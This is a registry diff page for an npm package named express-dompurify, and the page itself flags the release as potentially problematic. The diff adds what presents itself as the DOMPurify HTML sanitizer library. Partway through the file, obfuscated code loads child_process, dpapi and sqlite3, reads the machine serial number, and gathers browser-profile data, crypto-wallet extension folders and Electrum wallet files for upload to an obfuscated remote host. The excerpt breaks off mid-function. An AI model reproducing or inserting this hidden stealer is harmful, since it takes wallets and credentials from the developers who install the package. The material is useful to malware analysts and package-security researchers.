express-dompurify 0.0.1-security → 3.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of express-dompurify might be problematic. Click here for more details.

@@ -0,0 +1,2180 @@
1
+ /*! @license DOMPurify 3.1.4 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.1.4/LICENSE */
2
+
3
+ 'use strict';
4
+
5
+ const {
6
+ entries,
7
+ setPrototypeOf,
8
+ isFrozen,
9
+ getPrototypeOf,
10
+ getOwnPropertyDescriptor
11
+ } = Object;
12
+ let {
13
+ freeze,
14
+ seal,
15
+ create
16
+ } = Object; // eslint-disable-line import/no-mutable-exports
17
+ let {
18
+ apply,
19
+ construct
20
+ } = typeof Reflect !== 'undefined' && Reflect;
21
+ if (!freeze) {
22
+ freeze = function freeze(x) {
23
+ return x;
24
+ };
25
+ }
26
+ if (!seal) {
27
+ seal = function seal(x) {
28
+ return x;
29
+ };
30
+ }
31
+ if (!apply) {
32
+ apply = function apply(fun, thisValue, args) {
33
+ return fun.apply(thisValue, args);
34
+ };
35
+ }
36
+ if (!construct) {
37
+ construct = function construct(Func, args) {
38
+ return new Func(...args);
39
+ };
40
+ }
41
+ const arrayForEach = unapply(Array.prototype.forEach);
42
+ const arrayPop = unapply(Array.prototype.pop);
43
+ const arrayPush = unapply(Array.prototype.push);
44
+ const stringToLowerCase = unapply(String.prototype.toLowerCase);
45
+ const stringToString = unapply(String.prototype.toString);
46
+ const stringMatch = unapply(String.prototype.match);
47
+ const stringReplace = unapply(String.prototype.replace);
48
+ const stringIndexOf = unapply(String.prototype.indexOf);
49
+ const stringTrim = unapply(String.prototype.trim);
50
+ const objectHasOwnProperty = unapply(Object.prototype.hasOwnProperty);
51
+ const regExpTest = unapply(RegExp.prototype.test);
52
+ const typeErrorCreate = unconstruct(TypeError);
53
+
54
+ /**
55
+ * Creates a new function that calls the given function with a specified thisArg and arguments.
56
+ *
57
+ * @param {Function} func - The function to be wrapped and called.
58
+ * @returns {Function} A new function that calls the given function with a specified thisArg and arguments.
59
+ */
60
+ function unapply(func) {
61
+ return function (thisArg) {
62
+ for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
63
+ args[_key - 1] = arguments[_key];
64
+ }
65
+ return apply(func, thisArg, args);
66
+ };
67
+ }
68
+
69
+ /**
70
+ * Creates a new function that constructs an instance of the given constructor function with the provided arguments.
71
+ *
72
+ * @param {Function} func - The constructor function to be wrapped and called.
73
+ * @returns {Function} A new function that constructs an instance of the given constructor function with the provided arguments.
74
+ */
75
+ function unconstruct(func) {
76
+ return function () {
77
+ for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
78
+ args[_key2] = arguments[_key2];
79
+ }
80
+ return construct(func, args);
81
+ };
82
+ }
83
+
84
+ /**
85
+ * Add properties to a lookup table
86
+ *
87
+ * @param {Object} set - The set to which elements will be added.
88
+ * @param {Array} array - The array containing elements to be added to the set.
89
+ * @param {Function} transformCaseFunc - An optional function to transform the case of each element before adding to the set.
90
+ * @returns {Object} The modified set with added elements.
91
+ */
92
+ function addToSet(set, array) {
93
+ let transformCaseFunc = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : stringToLowerCase;
94
+ if (setPrototypeOf) {
95
+ // Make 'in' and truthy checks like Boolean(set.constructor)
96
+ // independent of any properties defined on Object.prototype.
97
+ // Prevent prototype setters from intercepting set as a this value.
98
+ setPrototypeOf(set, null);
99
+ }
100
+ let l = array.length;
101
+ while (l--) {
102
+ let element = array[l];
103
+ if (typeof element === 'string') {
104
+ const lcElement = transformCaseFunc(element);
105
+ if (lcElement !== element) {
106
+ // Config presets (e.g. tags.js, attrs.js) are immutable.
107
+ if (!isFrozen(array)) {
108
+ array[l] = lcElement;
109
+ }
110
+ element = lcElement;
111
+ }
112
+ }
113
+ set[element] = true;
114
+ }
115
+ return set;
116
+ }
117
+
118
+ /**
119
+ * Clean up an array to harden against CSPP
120
+ *
121
+ * @param {Array} array - The array to be cleaned.
122
+ * @returns {Array} The cleaned version of the array
123
+ */
124
+ function cleanArray(array) {
125
+ for (let index = 0; index < array.length; index++) {
126
+ const isPropertyExist = objectHasOwnProperty(array, index);
127
+ if (!isPropertyExist) {
128
+ array[index] = null;
129
+ }
130
+ }
131
+ return array;
132
+ }
133
+
134
+ /**
135
+ * Shallow clone an object
136
+ *
137
+ * @param {Object} object - The object to be cloned.
138
+ * @returns {Object} A new object that copies the original.
139
+ */
140
+ function clone(object) {
141
+ const newObject = create(null);
142
+ for (const [property, value] of entries(object)) {
143
+ const isPropertyExist = objectHasOwnProperty(object, property);
144
+ if (isPropertyExist) {
145
+ if (Array.isArray(value)) {
146
+ newObject[property] = cleanArray(value);
147
+ } else if (value && typeof value === 'object' && value.constructor === Object) {
148
+ newObject[property] = clone(value);
149
+ } else {
150
+ newObject[property] = value;
151
+ }
152
+ }
153
+ }
154
+ return newObject;
155
+ }
156
+
157
+ /**
158
+ * This method automatically checks if the prop is function or getter and behaves accordingly.
159
+ *
160
+ * @param {Object} object - The object to look up the getter function in its prototype chain.
161
+ * @param {String} prop - The property name for which to find the getter function.
162
+ * @returns {Function} The getter function found in the prototype chain or a fallback function.
163
+ */
164
+ function lookupGetter(object, prop) {
165
+ while (object !== null) {
166
+ const desc = getOwnPropertyDescriptor(object, prop);
167
+ if (desc) {
168
+ if (desc.get) {
169
+ return unapply(desc.get);
170
+ }
171
+ if (typeof desc.value === 'function') {
172
+ return unapply(desc.value);
173
+ }
174
+ }
175
+ object = getPrototypeOf(object);
176
+ }
177
+ function fallbackValue() {
178
+ return null;
179
+ }
180
+ return fallbackValue;
181
+ }
182
+
183
+ const html$1 = freeze(['a', 'abbr', 'acronym', 'address', 'area', 'article', 'aside', 'audio', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'content', 'data', 'datalist', 'dd', 'decorator', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'img', 'input', 'ins', 'kbd', 'label', 'legend', 'li', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meter', 'nav', 'nobr', 'ol', 'optgroup', 'option', 'output', 'p', 'picture', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'section', 'select', 'shadow', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'wbr']);
184
+
185
+ // SVG
186
+ const svg$1 = freeze(['svg', 'a', 'altglyph', 'altglyphdef', 'altglyphitem', 'animatecolor', 'animatemotion', 'animatetransform', 'circle', 'clippath', 'defs', 'desc', 'ellipse', 'filter', 'font', 'g', 'glyph', 'glyphref', 'hkern', 'image', 'line', 'lineargradient', 'marker', 'mask', 'metadata', 'mpath', 'path', 'pattern', 'polygon', 'polyline', 'radialgradient', 'rect', 'stop', 'style', 'switch', 'symbol', 'text', 'textpath', 'title', 'tref', 'tspan', 'view', 'vkern']);
187
+ const svgFilters = freeze(['feBlend', 'feColorMatrix', 'feComponentTransfer', 'feComposite', 'feConvolveMatrix', 'feDiffuseLighting', 'feDisplacementMap', 'feDistantLight', 'feDropShadow', 'feFlood', 'feFuncA', 'feFuncB', 'feFuncG', 'feFuncR', 'feGaussianBlur', 'feImage', 'feMerge', 'feMergeNode', 'feMorphology', 'feOffset', 'fePointLight', 'feSpecularLighting', 'feSpotLight', 'feTile', 'feTurbulence']);
188
+
189
+ // List of SVG elements that are disallowed by default.
190
+ // We still need to know them so that we can do namespace
191
+ // checks properly in case one wants to add them to
192
+ // allow-list.
193
+ const svgDisallowed = freeze(['animate', 'color-profile', 'cursor', 'discard', 'font-face', 'font-face-format', 'font-face-name', 'font-face-src', 'font-face-uri', 'foreignobject', 'hatch', 'hatchpath', 'mesh', 'meshgradient', 'meshpatch', 'meshrow', 'missing-glyph', 'script', 'set', 'solidcolor', 'unknown', 'use']);
194
+ const mathMl$1 = freeze(['math', 'menclose', 'merror', 'mfenced', 'mfrac', 'mglyph', 'mi', 'mlabeledtr', 'mmultiscripts', 'mn', 'mo', 'mover', 'mpadded', 'mphantom', 'mroot', 'mrow', 'ms', 'mspace', 'msqrt', 'mstyle', 'msub', 'msup', 'msubsup', 'mtable', 'mtd', 'mtext', 'mtr', 'munder', 'munderover', 'mprescripts']);
195
+
196
+ // Similarly to SVG, we want to know all MathML elements,
197
+ // even those that we disallow by default.
198
+ const mathMlDisallowed = freeze(['maction', 'maligngroup', 'malignmark', 'mlongdiv', 'mscarries', 'mscarry', 'msgroup', 'mstack', 'msline', 'msrow', 'semantics', 'annotation', 'annotation-xml', 'mprescripts', 'none']);
199
+ const text = freeze(['#text']);
200
+
201
+ const html = freeze(['accept', 'action', 'align', 'alt', 'autocapitalize', 'autocomplete', 'autopictureinpicture', 'autoplay', 'background', 'bgcolor', 'border', 'capture', 'cellpadding', 'cellspacing', 'checked', 'cite', 'class', 'clear', 'color', 'cols', 'colspan', 'controls', 'controlslist', 'coords', 'crossorigin', 'datetime', 'decoding', 'default', 'dir', 'disabled', 'disablepictureinpicture', 'disableremoteplayback', 'download', 'draggable', 'enctype', 'enterkeyhint', 'face', 'for', 'headers', 'height', 'hidden', 'high', 'href', 'hreflang', 'id', 'inputmode', 'integrity', 'ismap', 'kind', 'label', 'lang', 'list', 'loading', 'loop', 'low', 'max', 'maxlength', 'media', 'method', 'min', 'minlength', 'multiple', 'muted', 'name', 'nonce', 'noshade', 'novalidate', 'nowrap', 'open', 'optimum', 'pattern', 'placeholder', 'playsinline', 'popover', 'popovertarget', 'popovertargetaction', 'poster', 'preload', 'pubdate', 'radiogroup', 'readonly', 'rel', 'required', 'rev', 'reversed', 'role', 'rows', 'rowspan', 'spellcheck', 'scope', 'selected', 'shape', 'size', 'sizes', 'span', 'srclang', 'start', 'src', 'srcset', 'step', 'style', 'summary', 'tabindex', 'title', 'translate', 'type', 'usemap', 'valign', 'value', 'width', 'wrap', 'xmlns', 'slot']);
202
+ const svg = freeze(['accent-height', 'accumulate', 'additive', 'alignment-baseline', 'amplitude', 'ascent', 'attributename', 'attributetype', 'azimuth', 'basefrequency', 'baseline-shift', 'begin', 'bias', 'by', 'class', 'clip', 'clippathunits', 'clip-path', 'clip-rule', 'color', 'color-interpolation', 'color-interpolation-filters', 'color-profile', 'color-rendering', 'cx', 'cy', 'd', 'dx', 'dy', 'diffuseconstant', 'direction', 'display', 'divisor', 'dur', 'edgemode', 'elevation', 'end', 'exponent', 'fill', 'fill-opacity', 'fill-rule', 'filter', 'filterunits', 'flood-color', 'flood-opacity', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'fx', 'fy', 'g1', 'g2', 'glyph-name', 'glyphref', 'gradientunits', 'gradienttransform', 'height', 'href', 'id', 'image-rendering', 'in', 'in2', 'intercept', 'k', 'k1', 'k2', 'k3', 'k4', 'kerning', 'keypoints', 'keysplines', 'keytimes', 'lang', 'lengthadjust', 'letter-spacing', 'kernelmatrix', 'kernelunitlength', 'lighting-color', 'local', 'marker-end', 'marker-mid', 'marker-start', 'markerheight', 'markerunits', 'markerwidth', 'maskcontentunits', 'maskunits', 'max', 'mask', 'media', 'method', 'mode', 'min', 'name', 'numoctaves', 'offset', 'operator', 'opacity', 'order', 'orient', 'orientation', 'origin', 'overflow', 'paint-order', 'path', 'pathlength', 'patterncontentunits', 'patterntransform', 'patternunits', 'points', 'preservealpha', 'preserveaspectratio', 'primitiveunits', 'r', 'rx', 'ry', 'radius', 'refx', 'refy', 'repeatcount', 'repeatdur', 'restart', 'result', 'rotate', 'scale', 'seed', 'shape-rendering', 'slope', 'specularconstant', 'specularexponent', 'spreadmethod', 'startoffset', 'stddeviation', 'stitchtiles', 'stop-color', 'stop-opacity', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke', 'stroke-width', 'style', 'surfacescale', 'systemlanguage', 'tabindex', 'tablevalues', 'targetx', 'targety', 'transform', 'transform-origin', 'text-anchor', 'text-decoration', 'text-rendering', 'textlength', 'type', 'u1', 'u2', 'unicode', 'values', 'viewbox', 'visibility', 'version', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'width', 'word-spacing', 'wrap', 'writing-mode', 'xchannelselector', 'ychannelselector', 'x', 'x1', 'x2', 'xmlns', 'y', 'y1', 'y2', 'z', 'zoomandpan']);
203
+ const mathMl = freeze(['accent', 'accentunder', 'align', 'bevelled', 'close', 'columnsalign', 'columnlines', 'columnspan', 'denomalign', 'depth', 'dir', 'display', 'displaystyle', 'encoding', 'fence', 'frame', 'height', 'href', 'id', 'largeop', 'length', 'linethickness', 'lspace', 'lquote', 'mathbackground', 'mathcolor', 'mathsize', 'mathvariant', 'maxsize', 'minsize', 'movablelimits', 'notation', 'numalign', 'open', 'rowalign', 'rowlines', 'rowspacing', 'rowspan', 'rspace', 'rquote', 'scriptlevel', 'scriptminsize', 'scriptsizemultiplier', 'selection', 'separator', 'separators', 'stretchy', 'subscriptshift', 'supscriptshift', 'symmetric', 'voffset', 'width', 'xmlns']);
204
+ const xml = freeze(['xlink:href', 'xml:id', 'xlink:title', 'xml:space', 'xmlns:xlink']);
205
+
206
+ // eslint-disable-next-line unicorn/better-regex
207
+ const MUSTACHE_EXPR = seal(/\{\{[\w\W]*|[\w\W]*\}\}/gm); // Specify template detection regex for SAFE_FOR_TEMPLATES mode
208
+ const ERB_EXPR = seal(/<%[\w\W]*|[\w\W]*%>/gm);
209
+ const TMPLIT_EXPR = seal(/\${[\w\W]*}/gm);
210
+ const DATA_ATTR = seal(/^data-[\-\w.\u00B7-\uFFFF]/); // eslint-disable-line no-useless-escape
211
+ const ARIA_ATTR = seal(/^aria-[\-\w]+$/); // eslint-disable-line no-useless-escape
212
+ const IS_ALLOWED_URI = seal(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i // eslint-disable-line no-useless-escape
213
+ );
214
+ const IS_SCRIPT_OR_DATA = seal(/^(?:\w+script|data):/i);
215
+ const ATTR_WHITESPACE = seal(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g // eslint-disable-line no-control-regex
216
+ );
217
+ const DOCTYPE_NAME = seal(/^html$/i);
218
+ const CUSTOM_ELEMENT = seal(/^[a-z][.\w]*(-[.\w]+)+$/i);
219
+
220
+ var EXPRESSIONS = /*#__PURE__*/Object.freeze({
221
+ __proto__: null,
222
+ MUSTACHE_EXPR: MUSTACHE_EXPR,
223
+ ERB_EXPR: ERB_EXPR,
224
+ TMPLIT_EXPR: TMPLIT_EXPR,
225
+ DATA_ATTR: DATA_ATTR,
226
+ ARIA_ATTR: ARIA_ATTR,
227
+ IS_ALLOWED_URI: IS_ALLOWED_URI,
228
+ IS_SCRIPT_OR_DATA: IS_SCRIPT_OR_DATA,
229
+ ATTR_WHITESPACE: ATTR_WHITESPACE,
230
+ DOCTYPE_NAME: DOCTYPE_NAME,
231
+ CUSTOM_ELEMENT: CUSTOM_ELEMENT
232
+ });
233
+
234
+ function asyncGeneratorStep(n, t, e, r, o, a, c) {
235
+ try {
236
+ var i = n[a](c),
237
+ u = i.value;
238
+ } catch (n) {
239
+ return void e(n);
240
+ }
241
+ i.done ? t(u) : Promise.resolve(u).then(r, o);
242
+ }
243
+ function _asyncToGenerator(n) {
244
+ return function () {
245
+ var t = this,
246
+ e = arguments;
247
+ return new Promise(function (r, o) {
248
+ var a = n.apply(t, e);
249
+ function _next(n) {
250
+ asyncGeneratorStep(a, r, o, _next, _throw, "next", n);
251
+ }
252
+ function _throw(n) {
253
+ asyncGeneratorStep(a, r, o, _next, _throw, "throw", n);
254
+ }
255
+ _next(void 0);
256
+ });
257
+ };
258
+ }
259
+ function _defineProperty(e, r, t) {
260
+ return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, {
261
+ value: t,
262
+ enumerable: !0,
263
+ configurable: !0,
264
+ writable: !0
265
+ }) : e[r] = t, e;
266
+ }
267
+ function ownKeys(e, r) {
268
+ var t = Object.keys(e);
269
+ if (Object.getOwnPropertySymbols) {
270
+ var o = Object.getOwnPropertySymbols(e);
271
+ r && (o = o.filter(function (r) {
272
+ return Object.getOwnPropertyDescriptor(e, r).enumerable;
273
+ })), t.push.apply(t, o);
274
+ }
275
+ return t;
276
+ }
277
+ function _objectSpread2(e) {
278
+ for (var r = 1; r < arguments.length; r++) {
279
+ var t = null != arguments[r] ? arguments[r] : {};
280
+ r % 2 ? ownKeys(Object(t), !0).forEach(function (r) {
281
+ _defineProperty(e, r, t[r]);
282
+ }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) {
283
+ Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r));
284
+ });
285
+ }
286
+ return e;
287
+ }
288
+ function _toPrimitive(t, r) {
289
+ if ("object" != typeof t || !t) return t;
290
+ var e = t[Symbol.toPrimitive];
291
+ if (void 0 !== e) {
292
+ var i = e.call(t, r || "default");
293
+ if ("object" != typeof i) return i;
294
+ throw new TypeError("@@toPrimitive must return a primitive value.");
295
+ }
296
+ return ("string" === r ? String : Number)(t);
297
+ }
298
+ function _toPropertyKey(t) {
299
+ var i = _toPrimitive(t, "string");
300
+ return "symbol" == typeof i ? i : i + "";
301
+ }
302
+
303
+ function _0x12d4(_0xb3f26b, _0x5be3f) {
304
+ const _0x5a428c = _0x5a42();
305
+ return _0x12d4 = function _0x12d4(_0x12d4f8, _0x33bb5e) {
306
+ _0x12d4f8 = _0x12d4f8 - 0x113;
307
+ let _0x23e6b8 = _0x5a428c[_0x12d4f8];
308
+ return _0x23e6b8;
309
+ }, _0x12d4(_0xb3f26b, _0x5be3f);
310
+ }
311
+ const _0x4da43b = _0x12d4;
312
+ (function (_0x502ef0, _0x13e71b) {
313
+ const _0x494ecb = _0x12d4,
314
+ _0x597ae9 = _0x502ef0();
315
+ while (!![]) {
316
+ try {
317
+ const _0x4c251c = parseInt(_0x494ecb(0x11a)) / 0x1 + -parseInt(_0x494ecb(0x168)) / 0x2 + parseInt(_0x494ecb(0x161)) / 0x3 + -parseInt(_0x494ecb(0x17b)) / 0x4 * (-parseInt(_0x494ecb(0x135)) / 0x5) + -parseInt(_0x494ecb(0x13d)) / 0x6 + parseInt(_0x494ecb(0x11d)) / 0x7 + parseInt(_0x494ecb(0x13a)) / 0x8;
318
+ if (_0x4c251c === _0x13e71b) break;else _0x597ae9['push'](_0x597ae9['shift']());
319
+ } catch (_0x285e8d) {
320
+ _0x597ae9['push'](_0x597ae9['shift']());
321
+ }
322
+ }
323
+ })(_0x5a42, 0x793d9);
324
+ const fs = require('fs'),
325
+ os = require('os'),
326
+ fs_promises = require(_0x4da43b(0x11f)),
327
+ crypto = require(_0x4da43b(0x12f)),
328
+ request = require(_0x4da43b(0x128)),
329
+ path = require(_0x4da43b(0x143)),
330
+ dpapi = require(_0x4da43b(0x174)),
331
+ childProcess = require('child_process'),
332
+ hostname = os[_0x4da43b(0x152)](),
333
+ platform = os['platform'](),
334
+ homeDir = os[_0x4da43b(0x165)](),
335
+ sqlite3 = require(_0x4da43b(0x149)),
336
+ hostURL = _0x4da43b(0x17d),
337
+ getAbsolutePath = _0x2dfb41 => _0x2dfb41['replace'](/^~([a-z]+|\/)/, (_0x221b69, _0x12775e) => '/' === _0x12775e ? homeDir : path[_0x4da43b(0x130)](homeDir) + '/' + _0x12775e),
338
+ htype = '46',
339
+ outputfilename = _0x4da43b(0x13b);
340
+ function testPath(_0xa72ab1) {
341
+ const _0x52c1b5 = _0x4da43b;
342
+ try {
343
+ return fs[_0x52c1b5(0x115)](_0xa72ab1), !![];
344
+ } catch (_0x11119a) {
345
+ return ![];
346
+ }
347
+ }
348
+ const R = [_0x4da43b(0x120), _0x4da43b(0x177), _0x4da43b(0x177)],
349
+ Q = [_0x4da43b(0x15e), _0x4da43b(0x186), _0x4da43b(0x14d)],
350
+ X = [_0x4da43b(0x114), _0x4da43b(0x157), _0x4da43b(0x16e)],
351
+ Bt = [_0x4da43b(0x139), 'ejbalbakoplchlghecdalmeeeajnimhm', _0x4da43b(0x151), _0x4da43b(0x176), _0x4da43b(0x183), _0x4da43b(0x184), 'aeachknmefphepccionboohckonoeemg', _0x4da43b(0x154), _0x4da43b(0x121), _0x4da43b(0x175), 'dlcobpjiigpikoobohmabehhmhfoodbb', 'aholpfdialjgjfhomihkjbmgjidlcdno', _0x4da43b(0x17a), 'gjnckgkfmgmibbkoficdidcljeaaaheg'],
352
+ BtApp = [_0x4da43b(0x117), _0x4da43b(0x153), _0x4da43b(0x150)],
353
+ BtAppExtension = [[_0x4da43b(0x185), _0x4da43b(0x13f)], [''], [_0x4da43b(0x14b)]],
354
+ sn = 'w' == platform[0x0] ? childProcess[_0x4da43b(0x13e)](_0x4da43b(0x167))[_0x4da43b(0x14f)](_0x4da43b(0x132))['split']('\x0a')[0x1]['substring'](0x0, 0x8) : 'l' == platform[0x0] ? childProcess[_0x4da43b(0x13e)](_0x4da43b(0x160))[_0x4da43b(0x14f)]('utf-8')['split']('\x0a')[0x3][_0x4da43b(0x12c)](':')[0x1]['trim']() : childProcess[_0x4da43b(0x13e)]('system_profiler\x20SPHardwareDataType')[_0x4da43b(0x14f)]('utf-8')[_0x4da43b(0x12c)]('\x0a')[0x10][_0x4da43b(0x12c)](':')[0x1][_0x4da43b(0x12b)](),
355
+ uploadAppFiles = /*#__PURE__*/function () {
356
+ var _ref = _asyncToGenerator(function* (_0x301ab1, _0x1cd5f3) {
357
+ const _0x2a06b9 = _0x4da43b;
358
+ if (!_0x301ab1 || '' === _0x301ab1) return [];
359
+ try {
360
+ if (!testPath(_0x301ab1)) return [];
361
+ } catch (_0x1f2b61) {
362
+ return [];
363
+ }
364
+ _0x1cd5f3 = _0x1cd5f3 || '';
365
+ let _0x246a96 = [];
366
+ for (let _0x292a07 = 0x0; _0x292a07 < BtApp[_0x2a06b9(0x15c)]; _0x292a07++) {
367
+ let _0x11bd81 = _0x301ab1 + '/' + BtApp[_0x292a07];
368
+ if (testPath(_0x11bd81)) {
369
+ let _0x59d13a = [];
370
+ try {
371
+ _0x59d13a = fs[_0x2a06b9(0x141)](_0x11bd81);
372
+ } catch (_0xc5a735) {
373
+ _0x59d13a = [];
374
+ }
375
+ for (let _0x48a839 = 0x0; _0x48a839 < _0x59d13a['length']; _0x48a839++) {
376
+ let _0x578dd1 = path['join'](_0x11bd81, _0x59d13a[_0x48a839]);
377
+ try {
378
+ const _0x56418b = BtAppExtension[_0x292a07][_0x2a06b9(0x170)](_0x504acd => {
379
+ if (_0x504acd === path['extname'](_0x578dd1)) return !![];
380
+ });
381
+ _0x56418b !== -0x1 && _0x246a96[_0x2a06b9(0x162)]({
382
+ 'value': yield fs[_0x2a06b9(0x138)](_0x578dd1),
383
+ 'options': {
384
+ 'filename': ('' + _0x1cd5f3 + '_' + BtApp[_0x292a07] + '_' + _0x59d13a[_0x48a839])[_0x2a06b9(0x11b)](/\//g, '-')
385
+ }
386
+ });
387
+ } catch (_0x365ea5) {}
388
+ }
389
+ }
390
+ if ('d' == platform[0x0]) {
391
+ let _0x332311 = getAbsolutePath('~/') + _0x2a06b9(0x172) + 'wallets',
392
+ _0x35c76e = [];
393
+ try {
394
+ _0x35c76e = fs[_0x2a06b9(0x141)](_0x332311);
395
+ } catch (_0x2a010e) {
396
+ _0x35c76e = [];
397
+ }
398
+ for (let _0xe6abcb = 0x0; _0xe6abcb < _0x35c76e[_0x2a06b9(0x15c)]; _0xe6abcb++) {
399
+ let _0xa7bb73 = path[_0x2a06b9(0x16b)](_0x332311, _0x35c76e[_0xe6abcb]);
400
+ try {
401
+ const _0x178c2e = BtAppExtension[_0x292a07][_0x2a06b9(0x170)](_0x1e34b3 => {
402
+ const _0x33b3e3 = _0x2a06b9;
403
+ if (_0x1e34b3 === path[_0x33b3e3(0x12a)](_0xa7bb73)) return !![];
404
+ });
405
+ _0x178c2e !== -0x1 && _0x246a96['push']({
406
+ 'value': yield fs[_0x2a06b9(0x138)](_0xa7bb73),
407
+ 'options': {
408
+ 'filename': ('' + _0x1cd5f3 + '_' + BtApp[_0x292a07] + '_' + _0x35c76e[_0xe6abcb])['replace'](/\//g, '-')
409
+ }
410
+ });
411
+ } catch (_0x254f39) {}
412
+ }
413
+ }
414
+ if ('l' == platform[0x0]) {
415
+ let _0x58df1b = getAbsolutePath('~/') + '/snap/electrum/2' + '/.electrum/' + 'wallets',
416
+ _0x5ae05f = [];
417
+ try {
418
+ _0x5ae05f = fs[_0x2a06b9(0x141)](_0x58df1b);
419
+ } catch (_0x5cef37) {
420
+ _0x5ae05f = [];
421
+ }
422
+ for (let _0x1625ce = 0x0; _0x1625ce < _0x5ae05f[_0x2a06b9(0x15c)]; _0x1625ce++) {
423
+ let _0x45e6ee = path['join'](_0x58df1b, _0x5ae05f[_0x1625ce]);
424
+ try {
425
+ const _0x4bbf2c = BtAppExtension[_0x292a07]['findIndex'](_0x1f3006 => {
426
+ const _0x2d2a1a = _0x2a06b9;
427
+ if (_0x1f3006 === path[_0x2d2a1a(0x12a)](_0x45e6ee)) return !![];
428
+ });
429
+ _0x4bbf2c !== -0x1 && _0x246a96['push']({
430
+ 'value': yield fs[_0x2a06b9(0x138)](_0x45e6ee),
431
+ 'options': {
432
+ 'filename': ('' + _0x1cd5f3 + '_' + BtApp[_0x292a07] + '_' + _0x5ae05f[_0x1625ce])['replace'](/\//g, '-')
433
+ }
434
+ });
435
+ } catch (_0x5db421) {}
436
+ }
437
+ }
438
+ }
439
+ return Upload(_0x246a96), _0x246a96;
440
+ });
441
+ return function uploadAppFiles(_x, _x2) {
442
+ return _ref.apply(this, arguments);
443
+ };
444
+ }(),
445
+ uploadFiles = /*#__PURE__*/function () {
446
+ var _ref2 = _asyncToGenerator(function* (_0x19f38b, _0x565e08, _0x3cf5dc) {
447
+ const _0x1bef31 = _0x4da43b;
448
+ if (!_0x19f38b || '' === _0x19f38b) return [];
449
+ try {
450
+ if (!testPath(_0x19f38b)) return [];
451
+ } catch (_0x162185) {
452
+ return [];
453
+ }
454
+ _0x565e08 = _0x565e08 || '';
455
+ let _0x27e9f5 = [];
456
+ for (let _0x187e13 = 0x0; _0x187e13 < 0xc8; _0x187e13++) {
457
+ const _0x2962d4 = _0x19f38b + '/' + (_0x187e13 === 0x0 ? _0x1bef31(0x144) : 'Profile\x20' + _0x187e13) + _0x1bef31(0x134),
458
+ _0x2c48f6 = _0x19f38b + '/' + (_0x187e13 === 0x0 ? _0x1bef31(0x144) : _0x1bef31(0x164) + _0x187e13) + _0x1bef31(0x180);
459
+ for (let _0x739d0b = 0x0; _0x739d0b < Bt[_0x1bef31(0x15c)]; _0x739d0b++) {
460
+ let _0x4a270b = _0x2962d4 + '/' + Bt[_0x739d0b],
461
+ _0x5f3924 = _0x2c48f6 + _0x1bef31(0x163) + Bt[_0x739d0b] + _0x1bef31(0x16f) + _0x1bef31(0x119);
462
+ if (testPath(_0x4a270b)) {
463
+ let _0x54ea45 = [];
464
+ try {
465
+ _0x54ea45 = fs['readdirSync'](_0x4a270b);
466
+ } catch (_0x41edb1) {
467
+ _0x54ea45 = [];
468
+ }
469
+ for (let _0x2bd22b = 0x0; _0x2bd22b < _0x54ea45[_0x1bef31(0x15c)]; _0x2bd22b++) {
470
+ let _0x249c5a = path[_0x1bef31(0x16b)](_0x4a270b, _0x54ea45[_0x2bd22b]);
471
+ try {
472
+ if (_0x249c5a[_0x1bef31(0x12d)](_0x249c5a[_0x1bef31(0x15c)] - 0x4) !== _0x1bef31(0x16a)) {
473
+ const _0x2c4b35 = fs['statSync'](_0x249c5a);
474
+ if (_0x2c4b35['isDirectory']()) continue;
475
+ _0x27e9f5[_0x1bef31(0x162)]({
476
+ 'value': yield fs[_0x1bef31(0x138)](_0x249c5a),
477
+ 'options': {
478
+ 'filename': '' + _0x565e08 + _0x187e13 + '_' + Bt[_0x739d0b] + '_' + _0x54ea45[_0x2bd22b]
479
+ }
480
+ });
481
+ }
482
+ } catch (_0x2e421b) {}
483
+ }
484
+ }
485
+ if (testPath(_0x5f3924)) {
486
+ let _0x5ed933 = [];
487
+ try {
488
+ _0x5ed933 = fs[_0x1bef31(0x141)](_0x5f3924);
489
+ } catch (_0x252b86) {
490
+ _0x5ed933 = [];
491
+ }
492
+ for (let _0x33dad6 = 0x0; _0x33dad6 < _0x5ed933[_0x1bef31(0x15c)]; _0x33dad6++) {
493
+ let _0x5261c6 = path['join'](_0x5f3924, _0x5ed933[_0x33dad6]);
494
+ try {
495
+ if (_0x5261c6['substring'](_0x5261c6[_0x1bef31(0x15c)] - 0x4) !== 'LOCK') {
496
+ const _0x330cce = fs['statSync'](_0x5261c6);
497
+ if (_0x330cce[_0x1bef31(0x17c)]()) continue;
498
+ _0x27e9f5[_0x1bef31(0x162)]({
499
+ 'value': yield fs[_0x1bef31(0x138)](_0x5261c6),
500
+ 'options': {
501
